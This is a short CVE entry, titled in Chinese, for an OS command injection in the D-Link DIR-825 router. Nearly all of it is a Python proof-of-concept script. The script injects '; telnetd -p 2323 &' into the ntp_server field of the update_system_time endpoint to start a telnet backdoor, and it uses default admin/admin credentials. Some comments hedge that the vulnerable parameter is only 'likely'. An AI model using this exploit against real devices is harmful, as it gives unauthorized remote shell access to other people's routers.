CVE-2026-4627 D-Link DIR-825 路由器 OS命令注入漏洞

import requests # Target configuration target_ip = "192.168.0.1" username = "admin" password = "admin" url = f"http://{target_ip}/goform/update_system_time" # The vulnerable parameter is likely the NTP server address # Injection payload: `; telnetd -p 2323 &` to start a telnet daemon payload = { "ntp_server": "pool.ntp.org; telnetd -p 2323 &" } # Send POST request with authentication (if required by PR:H) session = requests.Session() login_data = {"username": username, "password": password} # session.post(f"http://{target_ip}/login", data=login_data) try: response = session.post(url, data=payload, timeout=5) if response.status_code == 200: print("Payload sent successfully.") print("Check if telnet is running on port 2323.") else: print(f"Failed to send payload. Status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")